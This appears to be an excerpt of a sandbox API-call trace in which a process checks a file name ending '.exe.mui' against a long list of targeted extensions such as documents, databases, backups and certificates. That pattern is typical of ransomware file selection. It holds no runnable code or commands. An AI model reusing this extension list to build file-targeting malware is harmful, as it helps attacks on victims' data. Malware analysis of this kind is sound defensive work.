	[0180.030] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0180.030] lstrlenW (lpString=".accdc") returned 6
	[0180.030] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0180.030] lstrlenW (lpString=".accde") returned 6
	[0180.030] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0180.030] lstrlenW (lpString=".accdt") returned 6
	[0180.030] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0180.031] lstrlenW (lpString=".accdw") returned 6
	[0180.031] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0180.031] lstrlenW (lpString=".adb") returned 4
	[0180.031] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".adp") returned 4
	[0180.031] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".ai") returned 3
	[0180.031] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0180.031] lstrlenW (lpString=".ai3") returned 4
	[0180.031] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".ai4") returned 4
	[0180.031] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".ai5") returned 4
	[0180.031] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".ai6") returned 4
	[0180.031] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".ai7") returned 4
	[0180.031] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".ai8") returned 4
	[0180.031] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".anim") returned 5
	[0180.031] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0180.031] lstrlenW (lpString=".arw") returned 4
	[0180.031] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".as") returned 3
	[0180.031] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0180.031] lstrlenW (lpString=".asa") returned 4
	[0180.031] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0180.031] lstrlenW (lpString=".asc") returned 4
	[0180.031] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".ascx") returned 5
	[0180.032] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0180.032] lstrlenW (lpString=".asm") returned 4
	[0180.032] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".asmx") returned 5
	[0180.032] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0180.032] lstrlenW (lpString=".asp") returned 4
	[0180.032] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".aspx") returned 5
	[0180.032] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0180.032] lstrlenW (lpString=".asr") returned 4
	[0180.032] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".asx") returned 4
	[0180.032] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".avi") returned 4
	[0180.032] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".avs") returned 4
	[0180.032] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".backup") returned 7
	[0180.032] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0180.032] lstrlenW (lpString=".bak") returned 4
	[0180.032] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".bay") returned 4
	[0180.032] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".bd") returned 3
	[0180.032] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0180.032] lstrlenW (lpString=".bin") returned 4
	[0180.032] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0180.032] lstrlenW (lpString=".bmp") returned 4
	[0180.032] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".bz2") returned 4
	[0180.033] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".c") returned 2
	[0180.033] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0180.033] lstrlenW (lpString=".cdr") returned 4
	[0180.033] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".cer") returned 4
	[0180.033] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".cf") returned 3
	[0180.033] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0180.033] lstrlenW (lpString=".cfc") returned 4
	[0180.033] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".cfm") returned 4
	[0180.033] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".cfml") returned 5
	[0180.033] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0180.033] lstrlenW (lpString=".cfu") returned 4
	[0180.033] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".chm") returned 4
	[0180.033] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".cin") returned 4
	[0180.033] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".class") returned 6
	[0180.033] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0180.033] lstrlenW (lpString=".clx") returned 4
	[0180.033] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".config") returned 7
	[0180.033] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0180.033] lstrlenW (lpString=".cpp") returned 4
	[0180.033] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0180.033] lstrlenW (lpString=".cr2") returned 4
	[0180.033] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".crt") returned 4
	[0180.034] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".crw") returned 4
	[0180.034] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".cs") returned 3
	[0180.034] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0180.034] lstrlenW (lpString=".css") returned 4
	[0180.034] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".csv") returned 4
	[0180.034] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".cub") returned 4
	[0180.034] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".dae") returned 4
	[0180.034] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".dat") returned 4
	[0180.034] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".db") returned 3
	[0180.034] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0180.034] lstrlenW (lpString=".dbf") returned 4
	[0180.034] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".dbx") returned 4
	[0180.034] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".dc3") returned 4
	[0180.034] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".dcm") returned 4
	[0180.034] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".dcr") returned 4
	[0180.034] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".der") returned 4
	[0180.034] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0180.034] lstrlenW (lpString=".dib") returned 4
	[0180.034] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0180.035] lstrlenW (lpString=".dic") returned 4
	[0180.035] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0180.035] lstrlenW (lpString=".dif") returned 4
	[0180.035] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0180.035] lstrlenW (lpString=".divx") returned 5
	[0180.035] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0180.035] lstrlenW (lpString=".djvu") returned 5
	[0180.035] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0180.035] lstrlenW (lpString=".dng") returned 4
	[0180.035] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0180.035] lstrlenW (lpString=".doc") returned 4
	[0180.035] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0180.035] lstrlenW (lpString=".docm") returned 5
	[0180.035] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0180.035] lstrlenW (lpString=".docx") returned 5
	[0180.035] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0180.035] lstrlenW (lpString=".dot") returned 4
	[0180.035] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0180.035] lstrlenW (lpString=".dotm") returned 5
	[0180.035] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0180.035] lstrlenW (lpString=".dotx") returned 5
	[0180.035] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0180.035] lstrlenW (lpString=".dpx") returned 4
	[0180.035] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0180.035] lstrlenW (lpString=".dqy") returned 4
	[0180.035] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0180.036] lstrlenW (lpString=".dsn") returned 4
	[0180.036] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0180.036] lstrlenW (lpString=".dt") returned 3
	[0180.036] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0180.036] lstrlenW (lpString=".dtd") returned 4
	[0180.036] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0180.036] lstrlenW (lpString=".dwg") returned 4
	[0180.036] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0180.036] lstrlenW (lpString=".dwt") returned 4
	[0180.036] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0180.036] lstrlenW (lpString=".dx") returned 3
	[0180.036] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0180.036] lstrlenW (lpString=".dxf") returned 4
	[0180.036] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0180.036] lstrlenW (lpString=".edml") returned 5
	[0180.036] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0180.036] lstrlenW (lpString=".efd") returned 4
	[0180.036] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0180.059] lstrlenW (lpString=".elf") returned 4
	[0180.059] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0180.059] lstrlenW (lpString=".emf") returned 4
	[0180.059] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0180.059] lstrlenW (lpString=".emz") returned 4
	[0180.059] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0180.059] lstrlenW (lpString=".epf") returned 4
	[0180.059] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0180.059] lstrlenW (lpString=".eps") returned 4
	[0180.059] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".epsf") returned 5
	[0180.060] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0180.060] lstrlenW (lpString=".epsp") returned 5
	[0180.060] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0180.060] lstrlenW (lpString=".erf") returned 4
	[0180.060] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".exr") returned 4
	[0180.060] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".f4v") returned 4
	[0180.060] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".fido") returned 5
	[0180.060] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0180.060] lstrlenW (lpString=".flm") returned 4
	[0180.060] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".flv") returned 4
	[0180.060] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".frm") returned 4
	[0180.060] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".fxg") returned 4
	[0180.060] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".geo") returned 4
	[0180.060] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".gif") returned 4
	[0180.060] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".grs") returned 4
	[0180.060] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0180.060] lstrlenW (lpString=".gz") returned 3
	[0180.060] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0180.060] lstrlenW (lpString=".h") returned 2
	[0180.060] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0180.061] lstrlenW (lpString=".hdr") returned 4
	[0180.061] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".hpp") returned 4
	[0180.061] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".hta") returned 4
	[0180.061] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".htc") returned 4
	[0180.061] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".htm") returned 4
	[0180.061] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".html") returned 5
	[0180.061] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0180.061] lstrlenW (lpString=".icb") returned 4
	[0180.061] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".ics") returned 4
	[0180.061] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".iff") returned 4
	[0180.061] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".inc") returned 4
	[0180.061] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0180.061] lstrlenW (lpString=".indd") returned 5
	[0180.061] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0180.061] lstrlenW (lpString=".ini") returned 4
	[0180.061] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0180.138] lstrlenW (lpString=".iqy") returned 4
	[0180.138] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".j2c") returned 4
	[0180.139] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".j2k") returned 4
	[0180.139] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".java") returned 5
	[0180.139] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0180.139] lstrlenW (lpString=".jp2") returned 4
	[0180.139] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".jpc") returned 4
	[0180.139] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".jpe") returned 4
	[0180.139] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".jpeg") returned 5
	[0180.139] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0180.139] lstrlenW (lpString=".jpf") returned 4
	[0180.139] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".jpg") returned 4
	[0180.139] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".jpx") returned 4
	[0180.139] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".js") returned 3
	[0180.139] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0180.139] lstrlenW (lpString=".jsf") returned 4
	[0180.139] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".json") returned 5
	[0180.139] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0180.139] lstrlenW (lpString=".jsp") returned 4
	[0180.139] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".kdc") returned 4
	[0180.139] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".kmz") returned 4
	[0180.139] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0180.139] lstrlenW (lpString=".kwm") returned 4
	[0180.140] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".lasso") returned 6
	[0180.140] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0180.140] lstrlenW (lpString=".lbi") returned 4
	[0180.140] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".lgf") returned 4
	[0180.140] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".lgp") returned 4
	[0180.140] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".log") returned 4
	[0180.140] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".m1v") returned 4
	[0180.140] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".m4a") returned 4
	[0180.140] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".m4v") returned 4
	[0180.140] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".max") returned 4
	[0180.140] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".md") returned 3
	[0180.140] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0180.140] lstrlenW (lpString=".mda") returned 4
	[0180.140] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0180.140] lstrlenW (lpString=".mdb") returned 4
	[0180.140] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mde") returned 4
	[0180.141] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mdf") returned 4
	[0180.141] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mdw") returned 4
	[0180.141] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mef") returned 4
	[0180.141] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mft") returned 4
	[0180.141] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mfw") returned 4
	[0180.141] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mht") returned 4
	[0180.141] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mhtml") returned 6
	[0180.141] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0180.141] lstrlenW (lpString=".mka") returned 4
	[0180.141] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mkidx") returned 6
	[0180.141] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0180.141] lstrlenW (lpString=".mkv") returned 4
	[0180.141] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mos") returned 4
	[0180.141] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mov") returned 4
	[0180.141] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mp3") returned 4
	[0180.141] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mp4") returned 4
	[0180.141] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0180.141] lstrlenW (lpString=".mpeg") returned 5
	[0180.141] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0180.142] lstrlenW (lpString=".mpg") returned 4
	[0180.142] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0180.142] lstrlenW (lpString=".mpv") returned 4
	[0180.142] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0180.142] lstrlenW (lpString=".mrw") returned 4
	[0180.142] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0180.142] lstrlenW (lpString=".msg") returned 4
	[0180.142] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0180.142] lstrlenW (lpString=".mxl") returned 4
	[0180.142] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".myd") returned 4
	[0180.142] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".myi") returned 4
	[0180.142] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".nef") returned 4
	[0180.142] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".nrw") returned 4
	[0180.142] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".obj") returned 4
	[0180.142] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".odb") returned 4
	[0180.142] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".odc") returned 4
	[0180.142] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".odm") returned 4
	[0180.142] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0180.142] lstrlenW (lpString=".odp") returned 4
	[0180.142] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".ods") returned 4
	[0180.143] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".oft") returned 4
	[0180.143] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".one") returned 4
	[0180.143] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".onepkg") returned 7
	[0180.143] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0180.143] lstrlenW (lpString=".onetoc2") returned 8
	[0180.143] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0180.143] lstrlenW (lpString=".opt") returned 4
	[0180.143] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".oqy") returned 4
	[0180.143] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".orf") returned 4
	[0180.143] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".p12") returned 4
	[0180.143] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".p7b") returned 4
	[0180.143] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".p7c") returned 4
	[0180.143] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".pam") returned 4
	[0180.143] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".pbm") returned 4
	[0180.143] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".pct") returned 4
	[0180.143] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".pcx") returned 4
	[0180.143] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0180.143] lstrlenW (lpString=".pdd") returned 4
	[0180.144] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".pdf") returned 4
	[0180.144] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".pdp") returned 4
	[0180.144] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".pef") returned 4
	[0180.144] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".pem") returned 4
	[0180.144] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".pff") returned 4
	[0180.144] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".pfm") returned 4
	[0180.144] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".pfx") returned 4
	[0180.144] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".pgm") returned 4
	[0180.144] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".php") returned 4
	[0180.144] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0180.144] lstrlenW (lpString=".php3") returned 5
	[0180.144] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0180.144] lstrlenW (lpString=".php4") returned 5
	[0180.144] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0180.144] lstrlenW (lpString=".php5") returned 5
	[0180.144] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0180.144] lstrlenW (lpString=".phtml") returned 6
	[0180.144] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0180.144] lstrlenW (lpString=".pict") returned 5
	[0180.144] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0180.144] lstrlenW (lpString=".pl") returned 3
	[0180.145] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0180.145] lstrlenW (lpString=".pls") returned 4
	[0180.145] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0180.145] lstrlenW (lpString=".pm") returned 3
	[0180.145] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0180.145] lstrlenW (lpString=".png") returned 4
	[0180.145] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0180.145] lstrlenW (lpString=".pnm") returned 4
	[0180.145] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0180.145] lstrlenW (lpString=".pot") returned 4
	[0180.145] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0180.145] lstrlenW (lpString=".potm") returned 5
	[0180.145] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0180.145] lstrlenW (lpString=".potx") returned 5
	[0180.145] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0180.145] lstrlenW (lpString=".ppa") returned 4
	[0180.145] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0180.145] lstrlenW (lpString=".ppam") returned 5
	[0180.145] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0180.145] lstrlenW (lpString=".ppm") returned 4
	[0180.145] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0180.145] lstrlenW (lpString=".pps") returned 4
	[0180.145] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0180.145] lstrlenW (lpString=".ppsm") returned 5
	[0180.145] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0180.145] lstrlenW (lpString=".ppt") returned 4
	[0180.145] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
